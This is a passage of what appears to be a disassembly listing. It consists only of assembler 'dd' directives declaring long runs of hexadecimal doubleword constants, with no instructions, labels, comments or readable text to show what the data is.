4AD20388h, 117F6D98h, 8B040AB0h, 10808CE6h, 6F70004Ah dd 5A18218Fh, 0D91C2D75h, 8540B77Dh, 0E5E76949h, 2AE40179h dd 0B31FDD61h, 19A4700Eh, 4E4D6D00h, 44153592h, 95430051h dd 2FC0F139h, 0D8FBA3B6h, 1000BD0Fh, 0FD757E16h, 75D4Fh dd 0CD2DC68Dh, 85DA991Fh, 4565A700h, 7E0AD7F3h, 77EA00F8h dd 80AAFBD3h, 1200C37Fh, 7850BF58h, 92B6D05h, 6794FA75h dd 4DA74F80h, 0D5078821h, 649D4C8h, 55C9C530h, 6E7E77h dd 1F80A456h, 0C770B3CFh, 9419AD00h, 9586B8FFh, 364E2ED8h dd 0DF7B00DBh, 0C909FD53h, 2BE8CE00h, 0D597AEF7h, 1F6FAB6h dd 2ABDB388h, 0DDFE47C3h, 5DB2E84Fh, 0AC00C275h, 7C62CFEDh dd 3C2F13A5h, 0D10E0870h, 7A69FC9Fh, 0BC60940Fh, 5B04DCC9h dd 0C0E46000h, 2674A3F1h, 0E169005Ch, 7A18C483h, 0DC00AE08h dd 4BE92E99h, 0CD5F49h, 0E2B85E48h, 1241A884h, 0E3F4F126h dd 5F184400h, 0DA85A5h, 8E57C99Fh, 3666038Ch, 0B13C0892h dd 0B9A180DBh, 6D07D187h, 9860942h, 5380AE24h, 9A958DB2h dd 4E000BECh, 3027ABBCh, 10879E7h, 723BD60h, 8037587Eh dd 3546D551h, 1C9AF396h, 0BD8EA86Dh, 0DF32421Eh, 0E774C0B3h dd 0F15077D1h, 0C3176C03h, 0F80BA140h, 2C85E4h, 136B38E0h dd 77EE46ACh, 0B55CE81Dh, 5A227382h, 0AE98032h, 8ACE9Fh dd 0C0C3BE30h, 25D7E46Fh, 4616D090h, 8076690h, 4A51FE88h dd 80C408B8h, 32CA0097h, 969E5C15h, 0C5F260B0h, 755A401h dd 418CDFCCh, 781CECh, 7E3D2762h, 7208ADB9h, 2C20C00h dd 0B607400Ah, 136A037Fh, 3FA2CF41h, 1C91B4A0h, 1D739F00h dd 0B558BE39h, 28E0744h, 0B383C38Ch, 79A81993h, 5C00259Ah dd 3530F8AAh, 3E0E4CC0h, 6C02F218h, 0BB38BC94h, 2AA10E40h dd 85C3C538h, 5B7327DFh, 3B5951C0h, 440B00CEh, 618B34F4h dd 0FD00BA9Eh, 1BF04DDDh, 0BB8DD4h, 0A317C956h, 27CBAC20h dd 0D09B9F00h, 0EF9E0877h, 0EC21507Bh, 0FC2C0B17h, 94008948h dd 6846FD3h, 9C4CC200h, 96DCA7E5h, 48400AC1h, 17EBAD6Eh dd 1D0E00AFh, 7FD67EF6h dd 1CFC094Ch, 0FBC0EC2Dh, 6BA45C46h, 0DBC900CFh, 724E88E4h dd 270133CAh, 7C7BE6AAh, 6EE4AE8Dh, 0DCD500ACh, 0B5E3C4Dh dd 85B8B0DAh, 781D5BF8h, 0A3853D10h, 0DDC040CAh, 4E7072h dd 39143E21h, 83F45CD3h, 63063500h, 0DE66BDEFh, 702B0ED4h dd 48E02D72h, 0FF4E5A26h, 754C6B01h, 7EE1928Ch, 5D6830h dd 0E0C571C9h, 69E62094h, 799443E9h, 90B484CDh, 85BE553Ch dd 803C49h, 1B069E36h, 7E4EEC47h, 3A7C9062h, 4D8010F2h dd 86E58EBBh, 7C3CF1DDh, 0EB3B80A6h, 7E1E4C91h, 23973C7h dd 25C3D461h, 2C61AFF2h, 8CFEE45Bh, 9E449903h, 3864EF52h dd 3BF4E378h, 0D105BB81h, 80962811h, 0D0F15BA6h, 3793AD00h dd 0F569C10h, 83410076h, 0CC9FBA5h, 0A000332Fh, 0E4EE7F81h dd 60CB57h, 6B5C3858h, 0BF023F26h, 0B0C1FC1Ch, 529BAC00h dd 0A02C65h, 0B7F2A3F9h, 49C9E055h, 989AB501h, 7B2BFBFAh dd 0A8EFF050h, 0A6790084h, 91F90F4Fh, 0EA3D3B65h, 6F7A0CF3h dd 536808h, 0E6685076h, 243645E2h, 96DE31E2h, 0CEF22B41h dd 0A4E483C9h, 30A7138h, 0E8701068h, 0A90047E2h, 55802E33h dd 1C5AB8C2h, 42A420DEh, 0E3B19535h, 0E69638B0h, 0F6DD4900h dd 8BD83384h, 9AD00758h, 0A039DF71h, 3B1E5FADh, 4E00F97Ch dd 47DCD678h, 0A9C3F1h, 89CB1F20h, 1D13DDE8h, 9676D800h dd 5390799Eh, 3477F1Ch, 0AA4DFE80h, 0D78F5439h, 93FB825Ch dd 7A978380h, 0D2003F3Ah, 0D3DE9234h, 0CE8F1Bh, 648796CBh dd 919A4A02h, 7D0A2000h, 9BD0A729h, 43EA00D7h, 517846A6h dd 1001FFBFh, 0CF183CB6h, 8C60362Ah, 9DD3D24h, 0A6F1CBB0h dd 0FE001170h, 1CDE5569h, 188C6E5h, 73BBF8A1h, 20220FD6h dd 58C03460h, 359B69EAh, 1D1F00E2h, 1ABBD68h, 0E49CE27h dd 0F3070080h, 0D297062Bh, 8C6A54BEh, 9300032h, 91058CEFh dd 386081D4h, 0A05D17DEh, 0F4E4002Eh, 0FBDACA23h, 8304EDA5h dd 46F78FD4h, 0B6D7ECC0h, 1B430E7Eh, 0C6471311h, 0B8DAE004h dd 300726Dh, 0B2E7E08Dh, 240A14E6h, 39A0B5A5h, 0BD81707h dd 72AEA1C8h, 5D0267Bh, 9D4DB27Fh, 67CD1490h, 4CD7003Bh dd 55E30C45h, 0B8779F22h, 0A35220B0h, 80753CE8h, 8AFFB740h dd 0FA7B493Dh, 0BE2E00D8h, 30C2F232h, 85FAA222h, 0F70C7113h dd 81CF3000h, 4A52E0h, 7D9E206Bh, 4CBBF51Dh, 3EB40D00h dd 0FB0F687Bh, 0D78C00F1h, 0F4A8CCB8h, 15035C32h, 2C9B0B3Ah dd 0E0C9C398h, 0D3FB17h, 85AD92CEh, 0F962031h, 9386BA01h dd 59897190h, 36B5E8h, 0AA3A1A2Ah, 0C892E3C3h, 0ED333700h dd 0B32940F0h, 178B7293h, 40B707DAh, 0F3CE60C4h, 0E8283849h dd 1501A08Ah, 0ED1746Eh, 6CF47F55h, 200D00B9h, 1C804F4Dh dd 32047BECh, 9AF93C33h, 47C1FBC0h, 0AA7BADh, 948A75B8h dd 57F38963h, 22C09303h, 0E0FCAF7Eh, 47251Fh, 0EE4BD640h dd 0B8B68CD8h, 2D00FBF8h, 15926193h, 0B849520Bh, 0A3E22Dh dd 0A8723334h, 0EF8FEB86h, 808C3200h, 5816DE6Eh, 51941CD9h dd 21E40181h, 27870993h, 1AC40074h, 539D5BC6h, 0B0212CB8h dd 2772C434h, 1382BE6h, 0AF9E459Ah, 7440C20Fh, 82752444h dd 0E661640Fh, 0E1D5C030h, 72BB3A39h, 0D011029Ch, 0BD678F02h dd 0BE899C45h, 79FC413Fh, 0B25116C0h, 0C4B50004h, 0A8A9CE73h dd 14720B82h, 0B2841D00h, 6451DCF4h, 0AB50C0ECh, 31A91E3h dd 4284C59h, 0D4D82560h, 0C1047C90h, 5E7A0EA1h, 0A1B9017Eh dd 0D40AF1C7h, 2021436h, 93583CFAh, 0B37468CEh, 609EB087h dd 50C8506Bh, 0E37380Fh, 39001086h, 95EC3Dh, 98D9B49Bh dd 6E5B107Bh, 0B1786700h, 0EB47C8CBh, 566D2434h, 70BB008Eh dd 2CCCA6C7h, 2FF92300h, 68914003h, 0E5C0007Fh, 0BC268027h dd 740E6FBDh, 62F19CA6h, 0E0C5CAA0h, 77E827h, 0C2A564Dh dd 55D2F0B6h, 0D500A7ECh, 37B93CDBh, 24BFEADh, 0C8DFF4E9h dd 1CE749CAh, 0B2E81194h, 0ACC44Fh, 0D4183E45h, 44AC5E8Ch dd 0E083DA17h, 7C23060h, 7D2D1ECAh, 128B800Ch, 0A87FABA7h dd 9FB92000h, 0C5F87057h, 144F4C52h, 0DCAF1107h, 0CC63208Bh dd 0BE00C389h, 0E4B4AC56h, 64F99651h, 1C3E90AEh, 53A85080h dd 0A3ECE0h, 187DBB4Eh, 0D6C5FFD7h, 0C4268600h, 77D2D869h dd 0D4EA001Bh, 358850B0h, 0FB03BB51h, 9067CF78h, 6C98CA05h dd 0CD110558h, 9066102Ah, 0FB0BDDF0h, 0BE724002h, 80BFD388h dd 764D3A80h, 651300ECh, 77CB5CD6h, 0D90EA9DAh, 0E03DC4A6h dd 84A42E49h, 5FD0528h, 809F3CB2h, 98D61993h, 0F0B3FF00h dd 5190C74Ch, 0C0300077h, 0D8E82EDEh, 1300FECDh, 8AA7B85Bh dd 9820BA98h, 0C24A2EF4h, 1899D9F4h, 0C5583C48h, 9083B707h dd 0DB864734h, 15029080h, 0D7001AB6h, 0CDA6F7EEh, 3CBA7A3Dh dd 3002E25h, 0D5819DEBh, 0D8027859h, 3F74F512h, 0E0BC6316h dd 13AD1D4Ah, 0E80B48h, 212E8BCCh, 0F517DDFAh, 0F20051E1h dd 578D4E4Ch, 0DC601D37h, 3D1280E5h, 0B3270EB9h, 1800A490h dd 60C8967h, 52DE07Bh, 4744B1C0h, 38F014D3h, 17F192C0h dd 0EE0012DBh, 0E7BDE6ACh, 123AB0EBh, 59931B4h, 0CC4C7A48h dd 6F0221F4h, 34AAA95Ah, 0FB34C8A3h, 0F771027Ch, 0D0B1D63Fh dd 35128460h, 0F4582401h, 0B0F0532Ch, 1C0A09F0h, 4087A760h dd 1D7B6E81h, 0ED386825h, 20AA30EAh, 0A1234DAh, 0C044D8BEh dd 7AD10094h, 0FCA3BC18h, 65747200h, 0B19705EEh, 0F1F0BEh dd 67663A69h, 0A0176F29h, 56B20303h, 80ECAE1Dh, 2B764F0h dd 72841C9Eh, 3B60FC39h, 870050D0h, 51D9AA0Eh, 614F90h dd 8A291E3Dh, 62D0B684h, 34FA3F00h, 300DF625h, 63E200B7h dd 0B6986724h, 0BC003E51h, 60470F89h, 3827F57Ah, 5500184Fh dd 395386DDh, 0D0EDF30h, 0C78ED0C3h, 3440A57Dh, 3A3F5E49h dd 82804EEFh, 8B6B948h, 9AFC5B26h, 750E3090h, 20CF8936h dd 1D69C952h, 0E7F9008Bh, 2B63367h, 830077C8h, 4576A625h dd 28AD26h, 0CF411669h, 8736E5Ch, 4F10C800h, 77BC847Bh dd 19A500ACh, 92461EF6h, 3F0A3EDFh, 0E289E9F5h, 41F18639h dd 1E811514h, 126DFD55h, 0F185E8Ah, 24036B35h, 103CD1FEh dd 56270005h, 58803F73h, 0EFC61EABh, 1450037h, 0BB2C381Dh dd 0AD505D00h, 7A5EF74Dh, 733EE0Eh, 0E46EA105h, 7037B619h dd 2224E82Ch, 0BB524D03h, 0D6BC8354h, 0FD264868h, 0C4B0C600h dd 0B2F736B9h, 0B0DF053Bh, 7E0321FDh, 1C761DE0h, 35B549B1h dd 1FAD0580h, 3B03D6D1h, 6C233621h, 24B2D02Eh, 0D9840077h dd 0D5499918h, 7600D208h, 0E598BA7Eh, 3C7D1A40h, 38004F4Eh dd 8786A702h, 310043FAh, 0EAAC3AE0h, 1DA4AC2h, 2654063Fh dd 68633312h, 23B90E24h, 5CD760BDh, 44CE4142h, 9A009918h dd 0B4015993h, 4CFFB889h, 0EC7C243Fh, 4D98747Ch, 26002C3Eh dd 0ADF5E714h, 0B0F86F97h, 0EFE9D460h, 405E09h, 5B449E25h dd 0A1FB90F8h, 32E0771Fh, 40BF8A8Fh, 0CC7E6664h, 0FF0100E6h dd 55D3FA95h, 9600BD9Ah, 0D00C0FF6h, 7643CDE7h, 0DCEA62h dd 0E4EFD809h, 26A15199h, 0D038EA01h, 0FBC38170h, 0ABACC0h dd 0F6786294h, 0F4DC895Fh, 0EF002F7Bh, 2DD9D3C3h, 0FCCAF81h dd 0D5D12518h, 8296D700h, 5C00C5EAh, 5DADA851h, 0E89CAC79h dd 2080E310h, 37C5E680h, 0DD070DE8h, 0E53E20A7h, 0BA5D671Fh dd 0B87241D0h, 0F13130A1h, 684DE230h, 3DC31900h, 569100Ah dd 601C74D4h, 20AE212Fh dd 480FBE18h, 8198191Dh, 6C04C1DFh, 1E7EECh, 0AB87EADEh dd 293D2E2Dh, 0B0B35B00h, 0D8446C07h, 0D6C2317Eh, 0D8DC2D48h dd 8C03A656h, 0E95362B0h, 8910A8ABh, 3D4100D3h, 9461D7C3h dd 910CF5D6h, 0B1CDA5E5h, 1E7B43C4h, 3D8E196Fh, 91C4B022h dd 0A76D01D0h, 0D8206117h, 0A55F0002h, 0CAD86835h, 2354D7DCh dd 0A06F3194h, 0C98C6031h, 0E4EB41h, 4D68BFA3h, 0E82ACCD4h dd 0FC0FB206h, 1E85777h, 8A31702Dh, 0DC038D28h, 9059D85h dd 37C4905Dh, 0AB9C2380h, 441A01C2h, 20A1B0AEh, 1E8DC813h dd 7BD3C901h, 0C8818E06h, 85A7E0h, 1D999337h, 0D43CF23Dh dd 96110203h, 0C8D1B820h, 77CEC9h, 3CF99F0h, 402706F5h dd 8FC0193Bh, 0F2DFD4Bh, 9D6CE0A1h, 0EA88E4h, 5BE67D1Dh dd 349F436Fh, 6ACDA000h, 87E87875h, 0CE31C0FFh, 84899EC5h dd 0A76C8000h, 8F398807h, 202660BAh, 461C7F7Dh, 0C7B39603h dd 34B2E63Bh, 0C141F408h, 0E040BF96h, 50000936h, 525C24C8h dd 12CBC3F2h, 207759h, 1B64DC78h, 21F06B5h, 0C2CC1E5Bh dd 2A1C9CBh, 0BEF01D73h, 0B90288E0h, 8F1560BFh, 0E86C1E49h dd 1D08B180h, 48208185h, 0D0239982h, 3904E860h, 6DB0DC30h dd 4CCBDA60h, 0F9EE340h, 0CABBB980h, 4FCC85h, 201127B0h dd 400D754h, 2BC6B2AAh, 0FE617493h, 553A005Dh, 0B0529728h dd 69000641h, 42BE20A5h, 0A1ABCh, 7965E3CAh, 93D5E789h dd 0D3EECC00h, 0B9101762h, 0F62C007Dh, 0DA4091EDh, 533E47ACh dd 3F5C9D81h, 0F5440FC0h, 3193AAh, 0A2621A6h, 976BC759h dd 34075CF6h, 309CEE0Bh, 0F91AC9C0h, 7D1F01DCh, 1B6ED1B6h dd 83AE8090h, 0BA284449h, 41253E5Dh, 0F8C21F7Bh, 3C3F2435h dd 0DCF55200h, 20F298Bh, 0C9039D7Dh, 84CD10FAh, 0B3A1905Bh dd 6219C0FFh, 52452A0Fh, 230098E0h, 3BB1A2C0h, 15040ACh dd 4C849E22h, 705579CEh, 0D31BECBFh, 0F998D171h, 67004132h dd 6400C84Ch, 8E4BA026h, 0F81AEBFFh, 0CF6C305Fh, 0AFA7818h dd 0B70011Fh, 0AD553700h, 7456191Bh, 0F51F014Ah, 288FBBB8h dd 0A57130EAh, 98105528h, 3E75F7FEh, 8A72D000h, 56FB1DC1h dd 103901AAh, 43B9713h, 198C6015h, 0D8983300h, 0BF61216Fh dd 0D4C70EAEh, 3DAEF705h, 6EC0A3EFh, 3AC1D667h, 21C0A0E8h dd 383DE1BCh, 0B1C9A060h, 93E500A1h, 966D72B0h, 0AD60DE16h dd 0BEA71728h, 1E760BCCh, 7C83CB56h, 39A0C48Eh, 17010609h dd 97CDAA87h, 8270C347h, 0D643180Bh, 363858ADh, 8307B9EEh dd 6B706DA4h, 2C40C714h, 3937BCC3h, 9B14302h, 0D06A9C98h dd 0D2421FA4h, 33C13DFh, 18560E1Ch, 35253800h, 0ADAE01ECh dd 8944183Ah, 196A0863h, 591F20C0h, 0AC358D1h, 0B79DC683h dd 0AA585E68h, 0F06840EFh, 7A49F603h, 0A0822042h, 9E7FD8h dd 3796A7DAh, 0E72CAD86h, 7728400Ch, 60AE709Ah, 0D662E06Fh dd 0D30341BDh, 3ED1E1B1h, 0D52A986Ah, 7F090D2h, 0ED0781F3h dd 0E5D5055h, 0C300B229h, 239D3E1Ch, 522B1Bh, 1486767Eh dd 0F151DD84h, 0E9DC9B1Fh, 0D3DB8E7Ah, 6D0860AAh, 1F1FF509h dd 405C9C72h, 41606344h, 3603DF58h, 5224B74Dh, 30E3B3F8h dd 3F218F09h, 2F007A28h, 1A5E6D9Eh, 0C7CAAh, 3A3E1D17h dd 6A94805Ch, 8D7F5D01h, 6358C12Dh, 46D31210h, 7F498060h dd 15127B1h, 6D0C149Dh, 0F5368A15h, 0FD07F080h, 305BB5Ch dd 69287056h, 38390025h, 63FE719Ch, 0C418B35Ch, 320850B6h dd 1820C164h, 0FC7D8BF8h, 39015912h, 0B99BBC65h, 917149B3h dd 0A9A37880h, 7610EE73h, 0BEBB3A00h, 0F8AF2266h, 657500FFh dd 805DD8A6h, 400CC55Eh, 0D826CA0Fh, 882F006Dh, 0E549C42Ch dd 3200AB25h, 7AEEE19h, 9AA7EFh, 0E8588C4Ah, 0C9DC245Ch dd 2D35D700h, 0E3DEA34Eh, 80AA0EBDh, 0B783414Fh, 0CEB00F08h dd 440FF255h, 0C0762BABh, 0C7C80D19h, 0E43A3F04h, 9FB1928Bh dd 0D6405B8Fh, 76798A55h, 8785D53Fh, 8E1CC5C1h, 0DCCD59E0h dd 5B7482h, 63B19D60h, 0A23B4C94h, 1A0EB37Eh, 40A40649h dd 918F8BA1h, 2FA6006Dh, 0CBFC1F63h, 0C80113DBh, 37681BAEh dd 7CE092A4h, 817F03BCh, 679BA9DEh, 0D63423B8h, 0DF1DA800h dd 0A5CCB3Eh, 0AEEA00ECh, 0D808DAACh, 0B70364B8h, 0FA685FE9h dd 7C280641h, 187DAEA0h, 0F3004DEEh, 8E05FEC0h, 1FA438h dd 2299C565h, 36B315E0h, 3FCDBE00h, 8BBDA691h, 9B6A1D35h dd 0CACB09E2h, 893A0A80h, 1700D730h, 0B872B9Ah, 0AA1483h dd 0FCEA92EFh, 96D9CDD3h, 0EE3C5D7Bh, 0B27FFCFFh, 0ED9DDA19h dd 72C0C878h, 0CBBB1E65h, 0F9A9CC79h, 34A09960h, 0B400111Fh dd 0D66C436Dh, 3AFDCEh, 0A4B72BC7h, 0AB1CECA9h, 0E4DADC06h dd 0D0FFBDh, 0BB7C7F3Eh, 0BA911813h, 996B60F9h, 0E88E800Ah dd 0F30098CCh, 0B7D1DFA3h, 0A8E094h, 8D075364h, 45A6C52Ch dd 476075E4h, 4D9FE80h, 1C689031h, 0C0743EA8h, 95DA9419h dd 3306AB59h, 0FB64BA7Bh, 47721858h, 5CDA3839h, 7CABAF00h dd 7ECEBC6Bh, 0A5650C78h, 6E591775h, 0C9CFEA00h, 0C84854E3h dd 76E70ABEh, 3D090EFh, 627E4347h, 0C5721190h, 25FC7100h dd 0B27BA4A6h, 50C8007Ah, 9D63CEFEh, 0F1005498h, 5E1CF776h dd 6DF09Ah, 665F50B7h, 98DA1204h, 7A2C3Dh, 1A17BD79h, 0AF2EA3h dd 14F8554Eh, 4A85B46Eh, 0D1F8A1E2h, 0F1CCBA00h, 0B8366525h dd 0F5313EB6h, 0BFE61681h, 81F7712Eh, 0CF4C7870h, 1180B299h dd 0C9885916h, 1901BDCAh, 1690CA2h, 219F8BA5h, 689EF8FCh dd 0C51F40D7h, 0F5CC9C42h, 0B864860Fh, 4CF402Eh, 136D955h dd 62980F28h, 80B3E574h, 0BFEA440h, 0A976F0CCh, 0F8DC1978h dd 0CDDFCAFh, 0BEB41880h, 0EA18C898h, 0F6E823D4h, 0C13600A0h dd 0E1C8FDEh, 5E0048CBh, 925CDBEFh, 3AAFE1h, 0D2E94393h dd 0C0DD0156h, 14EDE4Ch, 0A4279451h, 3FC802F1h, 0D2EB00A2h dd 119C5209h, 0B1002B9Eh, 3B774810h, 9CCEEB5h, 99DC1FCh dd 0E32A6800h, 8C17E628h, 0C3006E73h, 80190B36h, 0E93D002Bh dd 9B79042Fh, 62002290h, 6A751303h, 0A03918AAh, 560D5D9h dd 9DC5D73Bh, 2848036h, 0CC008605h, 8EB1BD27h, 1C7A55Ch dd 0B2C2D056h, 810C0D51h, 0AB11C420h, 30F493E6h, 0E310099h dd 0D9857325h, 5A1DC5E4h, 0CB1DDB6Eh, 50812380h, 1D078805h dd 81702815h, 6CE1677h, 47718339h, 0A04E83E9h, 69DC62h dd 0C3FDF96Ch, 516D8C3Ch, 862C06F8h, 570009DEh, 0DC781146h dd 5E5C060Ah, 206FC08Ch, 5D446C1Ch, 28FBE947h, 0D1A71BF7h dd 0B340DA44h, 0FD4F42C0h, 0E5EF6E00h, 5C8DD4F5h, 367F00F7h dd 34D92265h, 0E600C43Ah, 0E3DA2743h, 0AE0968h, 69B37914h dd 0CB44B08Dh, 0F9C9291Fh, 0DB84ADC7h, 0DACC9BC0h, 0C642007Dh dd 5C5AC5Dh, 0C200631Fh, 0EDF1815Bh, 77ADB5h, 0C17339FDh dd 76534049h, 0EE7A7900h, 0E695AF44h, 1CB40F67h, 0F46031C9h dd 960F2493h, 3AF03503h, 0C8C1EAE1h, 7F109920h, 98C70E5Ch dd 9683B0ADh, 0C588191Ah, 0C93EAE0Ah, 579389B7h, 8D7F02E2h dd 40C05DA0h, 6DFCE41Eh, 0D8AFAA39h, 83DE3E28h, 7674E9EEh dd 4092B0D6h, 147EA7h, 0EAD13C02h, 353BFF43h, 583299E0h dd 0E0E510D3h, 0ED1490h, 0E11C5275h, 0D835BFB9h, 100FDFEh dd 573D9167h, 1C277D5h, 0BF93641Eh, 2153BA3Bh, 3808E8EBh dd 74E1D48h, 0A0A344F4h, 0D7EC3990h, 3CFCDFh, 2690045Fh dd 2D36C0B7h dd 0B64DAB00h, 695C42AAh, 0E1FF0394h, 0D83B9302h, 56AF5988h dd 80079D3Bh, 0B9AA474Ah, 3CF64Bh, 0F3DFD30h, 0F755C635h dd 14857501h, 0E24C1BE4h, 650C1840h, 42D8C15Ch, 61D1538Ch dd 1B0C2083h, 8200177Ch, 72495EC1h, 1D6D362Ah, 801577DEh dd 16521067h, 2428FF0Fh, 63222C13h, 84143D5h, 47C78F7h dd 4616B4EFh, 14F810FAh, 2CAA0135h, 316F3008h, 0E95C4804h dd 45969F42h, 135F9D02h, 99EAE4A0h, 0DD423BEEh, 0D1642608h dd 18CF0510h, 2E86360h, 3184819Ch, 0B9B1EE0Bh, 0D0EC095Eh dd 3AE71563h, 120A2CD6h, 1D844027h, 171C88D9h, 3D10901Ch dd 585D607Eh, 9EB688D8h, 0CF580A8h, 18C1F800h, 3E4A5B1Ch dd 96CB6080h, 26C68245h, 1A474B03h, 0A0A42B35h, 1CD599D2h dd 4C9C81E2h, 0DE80C07Dh, 6865601h, 0FD8CCC4h, 0F9DAE0C6h dd 4C1F0077h, 3F5BFB7Eh, 30FCDB8h, 878628AAh, 0F8A2B9F7h dd 5BA88092h, 0EC3663h, 0A39AE708h, 84F7D8F2h, 0F8389400h dd 0ACAD2A4Fh, 1C4B0162h, 2EC18323h, 3A188ECDh, 2583FC9Bh dd 0C084764Eh, 0A0B10273h, 633D49Ch, 5467149Dh, 11006841h dd 0AD3AB7B2h, 355FF9Ah, 1AE3B1D6h, 64C09BAAh, 0C0C5F820h dd 98401176h, 0A2D83A27h, 496600FAh, 6E6CEA1Ch, 0B1390F79h dd 9DBA005Eh, 0CD633AE4h, 1617446h, 5DB9D1B3h, 5412FFDFh dd 11E803B4h, 0ED8032EBh, 0E31D3E71h, 19805124h, 0E08FB47Bh dd 3CF03FFFh, 2FF4D200h, 986412B0h, 4ED3B901h, 1E9C068Ch dd 0F868A840h, 7C5449A8h, 66B7D80Eh, 39405502h, 56FFDD80h dd 9F00DFB2h, 0F6A46121h, 0C06BB3E8h, 0D34B089h, 190CFBF4h dd 0E913E0D8h, 4C7E0138h, 947AEFF2h, 28D1E43Dh, 0DF01B27Eh dd 4BE08E89h, 0D1808A6Ch, 281FDEBBh, 0A248FDAFh, 781703B0h dd 0A4C6F3F8h, 0B25630C3h, 0B7D448BCh, 0DF5B0FC8h, 891823E1h dd 69180E77h, 0E81115A6h, 22670118h, 890DC53Eh, 2013C5F4h dd 63008B64h, 6D4C3A3h, 13ADD37h, 0CD577750h, 0D0AC654Ah dd 2F18F1DAh, 0FF3018E4h, 0E2E7022Bh, 9F61987h, 43B88763h dd 6F48C421h, 56360077h, 0C8EF3876h, 85F200CCh, 0FB997322h dd 0FEC0E0D6h, 2B92FFA5h, 84D507C7h, 80A626B6h, 42CF9C01h dd 0A4A9861Fh, 20DD6E0Eh, 5B6BDE02h, 6AD70FC5h, 0ACE0448Eh dd 0DCF88DD0h, 834FCB09h, 1A98021Fh, 0FE5600DEh, 94A0AB36h dd 73079015h, 9DAECEAh, 649CFD1h, 8103C89Ch, 41EBB516h dd 1F8CC4CCh, 1000BEAh, 61FE3070h, 245DD244h, 130C8257h dd 51AB005Fh, 0C700E28h, 17F39C1Eh, 2F1CDA40h, 0AB8B39h dd 8E8C8849h, 68FFDDB4h, 4EE9DB00h, 7058792Dh, 0E9000B9h dd 0D1E24DCFh, 8700C297h, 0ED86D42Ch, 3137C46h, 425198C8h dd 0FDD0A8EFh, 0B8B097A1h, 33B9011Fh, 8682B680h, 0F254A5Dh dd 56168823h, 0BBD9C0BFh, 26D84642h, 0CB2BBF00h, 5F75ECF6h dd 0B990003Fh, 6106C0Dh, 940F044Bh, 20CCED22h, 2F44DCBAh dd 68D50320h, 0AB6764AFh, 6BBE70EFh, 0FC00471Eh, 0F2016372h dd 46B662h, 58FBD0F4h, 881799F9h, 0D4EE8300h, 70B07B3Ah dd 0D3B0F2h, 0A0BA7EF1h, 927DFBFFh, 0F00F3200h, 0CBEE28D0h dd 80170058h, 98E26661h, 1005F83h, 7D301890h, 0EB51934h dd 0EC1B1A2Eh, 7340DEAFh, 0C5C44A57h, 936548h, 40FDBAF5h dd 0C0C762Ch, 0EF7D3489h, 4A58E19h, 0F08BF0h, 0CDEC63C5h dd 830D396Bh, 4F2D6A00h, 9286B457h, 1EEEF1h, 663A9F8Bh dd 4755A5EDh, 930C29D2h, 12E2850h, 8B3E05C6h, 567E5D3h dd 3029F786h, 1B515695h, 300C5484h, 29DE478Bh, 0F912E5F5h dd 0BBA33C83h, 0DD442974h, 9DA74409h, 198056FEh, 1FE50AD0h dd 36286F8Bh, 0A142291Eh, 2CA65F0Ch, 3944A3C8h, 0C5B2445Bh dd 6729D361h, 788C557Ch, 6C293297h, 31222A20h, 91A17429h dd 0D051B89Ch, 7B63B750h, 16D48D29h, 617650h, 514569D5h dd 7C002671h, 0FE9E3187h, 0BCD3278Ah, 62F80007h, 443FFF07h dd 6ACD00Fh, 6D304071h, 7545EE1h, 5FFDE480h, 0EDC3A0BAh dd 840008A6h, 3B63FCFAh, 0DBBF46h, 0DADF4C05h, 79F47E96h dd 0ECD2EE0Eh, 1CA2720h, 0E0187510h, 57690055h, 63F743B8h dd 0BD002703h, 196AD4CBh, 79D7441Bh, 0F8700A3h, 0EE29F4D0h dd 42006D5Dh, 0D1785E9Eh, 6168930Eh, 69FA1016h, 0D03BF57Fh dd 9A00F61Ah, 0C57D8F8Ah, 0E0F881h, 6792552Dh, 0F5EC599Dh dd 0D079311Eh, 0FD3A5E87h, 1B91E160h, 3DCC0022h, 5B816CF8h dd 0C314085h, 76D2602Ch, 0CA684C0h, 810D33E9h, 5B00F534h dd 69EB7307h, 5A266Ah, 6745D7B2h, 0C3998ABEh, 0EC541100h dd 838BDEE2h, 62DF0055h, 68222EAFh, 3C1E24B4h, 740875Eh dd 0A44B9B49h, 2B981FA9h, 1C11C084h, 60C94ACCh, 4FC6180Ah dd 9A00C05Fh, 3BECA5D3h, 0BAF11CF9h, 8BD640ADh, 1F54923Ah dd 2F8CF00Fh, 0F887E0C9h, 0E5158CCh, 0A3FD06DDh, 6DCDFA40h dd 210052B7h, 0AD09DF6Ch, 5DA5E0h, 0B13FCB8Ch, 0C2E32353h dd 0B5866100h, 630B4817h, 43B70172h, 0DADCC0B9h, 0C84FE421h dd 1E8C91Eh, 6D40A29Eh, 9FE5525Eh, 0E34E009Eh, 0EE728D92h dd 133B412Eh, 0B6A85F26h, 2CEB3200h, 0D4552B56h, 5CD28C00h dd 2F53421h, 308300AEh, 0ED191868h, 0C500ADF8h, 0D387A372h dd 0C6B912h, 778F3EFFh, 557060BBh, 8C7BB001h, 5C84B28Bh dd 6838DA80h, 62170658h, 0A900C076h, 5565BB7Eh, 7CFAC9B5h dd 53740081h, 5243FC15h, 5B009160h, 662490D3h, 0B4CBB7h dd 98341AF5h, 0DA55CC6Eh, 0B079EA00h, 0B8C7674Dh, 4C01009Ah dd 0E70629CFh, 0FC0056D6h, 9E89A62Fh, 1528670h, 0CCF4626Bh dd 0E0C4C2C6h, 0AC0073F8h, 0D8C06181h, 3DB2C1h, 30470ABCh dd 0CC8DA840h, 5A93650Fh, 9BD002EBh, 0F137C0C6h, 5E02002Ah dd 0A96A0573h, 0E17D3B23h, 98520903h, 0E045BAF7h, 30969C62h dd 1A04E37h, 1673C22Eh, 0B090EC00h, 34AB31E2h, 2ADC0F4Bh dd 300608Ah, 0EB14ED6Ch, 0FA002674h, 84AA53DFh, 1ED111F3h dd 7615E78h, 0B0587E95h, 0D220C33Eh, 0A00A6700h, 801059D9h dd 81631D1Bh, 0C99AC0B2h, 712507C2h, 0FC746700h, 0C3BD226h dd 1E9CEE0Dh, 8077B2A6h, 832F89C9h, 4200DF4Bh, 13BFAB97h dd 5465807h, 0C18A0C5h, 8FC28033h, 3007FE80h, 2112D996h dd 0AC78FC20h, 3D17AB2h, 0C1B7896Dh, 9980E9E1h, 2601BAF6h dd 0A82BD693h, 1530BD73h, 953700B8h, 0B35447C4h, 8B09034Bh dd 801593BEh, 85BAA0E7h, 2570024h, 731EA667h, 40505EC1h dd 480F9AEDh, 0A0EC0AA1h, 45CA61D8h, 35E8017Fh, 7EC3B8B1h dd 6BCA2089h, 0E140D400h, 6212C815h, 65C9078Ch, 336EA168h dd 3C0A58Ah, 0C2E0C0BAh, 1D44C48h, 7BB1C151h, 27CCF990h dd 0BB260067h, 